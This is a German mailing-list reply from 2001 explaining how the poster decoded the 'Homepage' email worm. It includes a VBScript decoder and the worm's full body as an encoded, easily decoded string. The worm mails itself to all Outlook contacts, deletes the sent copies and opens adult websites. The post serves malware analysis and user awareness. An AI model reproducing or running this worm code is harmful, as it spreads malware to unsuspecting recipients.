Potentieller Virus auf mysyl-liste

[Alex Bamesreiter]

Hi Helga, zu Mails in Newsgroups Anfragen bitte immer über die Liste(n). Mir
ist das Wurst, herzlich willkommen, aber manche schei.... sich da ganz schön
ein. Gehört halt zur Nettiquette.
Anbei das Listing. Ich habe das Attachment gespeichert, in Wordpad geöffnet
und die Dekodierfunktion auf ein vorher geöffnetes Word-Dokument laufen
lassen. Das wars. Deshalb Attachments vorher abspeichern und anschauen. Wenn
Sie unklar sind oder dekodiert-> entschlüsseln lohnt sich oft.
Alex
Listing (geändert)---->
set ws=createobject("wscript.shell")
msgbox "Word wird gestartet",,"Messagebox"
Set objXL = CreateObject("Word.Application")
objxl.visible=true
objxl.documents.add
astr=deCode("QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+U
gvHUQ?Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+Hqnfgt?HUQ0IgvUrgekcnHqn
fgt*4+UgvKpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+FqYjkngKpH0C
vGpfQhUvtgco>_(at)_VtwgUetkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnhNqqrU
gvQwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+QwvH0ytkvgUet
krvDwhhgtQwvH0enqugUgvHUQ?PqvjkpiKhYU0tgitgcf*$JMEW^uqhvyctg^Cp^o
ckngf$+>_(at)_$3$vjgpOcknkv*+GpfKhUgvu?EtgcvgQdlgev*$Qwvnqqm0Crrnkec
vkqp$+Ugvv?u0IgvPcogUrceg*$OCRK$+Ugvw?v0IgvFghcwnvHqnfgt*8+Hqtk?3v
qw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+
0enqugw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvUgvw?v0IgvFghcwnvHqnfgt*5+H
qtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou
0Kvgo*k+0fgngvgGpfKhPgzvTcpfqok|gt?Kpv**6,Tpf+-3+Kht?3vjgpY
U0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+gnugkht?4VjgpY
U0Twp*$jvvr<11ogodgtu0pdek0eqo1aZOEO1rtkp|lg130jvo$+gnugkht?5VjgpYU0Tw
p*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+GnugKht?6VjgpYU0T
wp*$jvvr<11ujgknc0kuugz{0vx130jvo$+GpfKhHwpevkqpOcknkv*+QpGttqtT
guwogPgzvUgvQwvnqqm?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+KhQwvnqqm?
$Qwvnqqm$VjgpUgvOcrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+UgvNkuvu?Ocrk0Cfft
guuNkuvuHqtGcejNkuvKpfgzKpNkuvuKhNkuvKpfgz0CfftguuGpvtkgu0Eqwpv
>_(at)_2VjgpEqpvcevEqwpv?NkuvKpfgz0CfftguuGpvtkgu0EqwpvHqtEqwpv?3
VqEqpvcevEqwpvUgvOckn?Qwvnqqm0EtgcvgKvgo*2+UgvEqpvcev?Nk
uvKpfgz0CfftguuGpvtkgu*Eqwpv+Ockn0Vq?Eqpvcev0CfftguuOckn0Uwdlg
ev?$Jqogrcig$Ockn0Dqf{?xdetnh($Jk#$(xdetnh(xdetnh($[qw)xgiqvvqu
ggvjkurcig#Kv)utgcnn{eqqn=Q+$(xdetnh(xdetnhUgvCvvcejogpv?Ockn0C
vvcejogpvuCvvcejogpv0CffHqnfgt($^jqogrcig0JVON0xdu$Ockn0Fgngv
gChvgtUwdokv?VtwgKhOckn0Vq>_(at)_$$VjgpOckn0UgpfYU0tgiytk
vg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpfKhPgzvGpf
khGpfHwpevkqp")
objxl.selection.typetext astr
msgbox "OK zum Beenden von Excel"&vbcrlf&"das War's"
objxl.close
set objxl=nothing


msgbox "das wars"

Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then
CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then
CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then
CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then
CurChar= Chr(9)
Else
CurChar = Chr(Asc(CurChar) - 2)
End If
DeCode = DeCode & CurChar
Next
End Function

-----Ursprüngliche Nachricht-----
Von: "Helga Fischer" <Azula_(at)_gmx.de>
An: "Alex Bamesreiter" <alex_(at)_bamesreiter.de>
Gesendet: Freitag, 22. Juni 2001 10:37
Betreff: Potentieller Virus auf mysyl-liste


> Hi Alex,
>
> Interessante Lektüre. Was mich aber auch interessieren würde,
> wie hast Du die Verschlüsselung aufgehoben?
>
> 'Homepage' habe ich mir über eine andere Liste eingefangen, da
> war der Code aber zum größten Teil unleserlich. Mit Win kenne
> ich mich leider nicht gut genug aus, um mit sowas umgehen zu
> können.
>
> Wäre nett, wenn Du mir den Trick verraten könntest.
>
>
> Tschaui,
> Helga

---
!!NEU!!
Fragen und Antworten zu MySQL und dieser Liste unter
-->>  http://www.4t2.com/mysql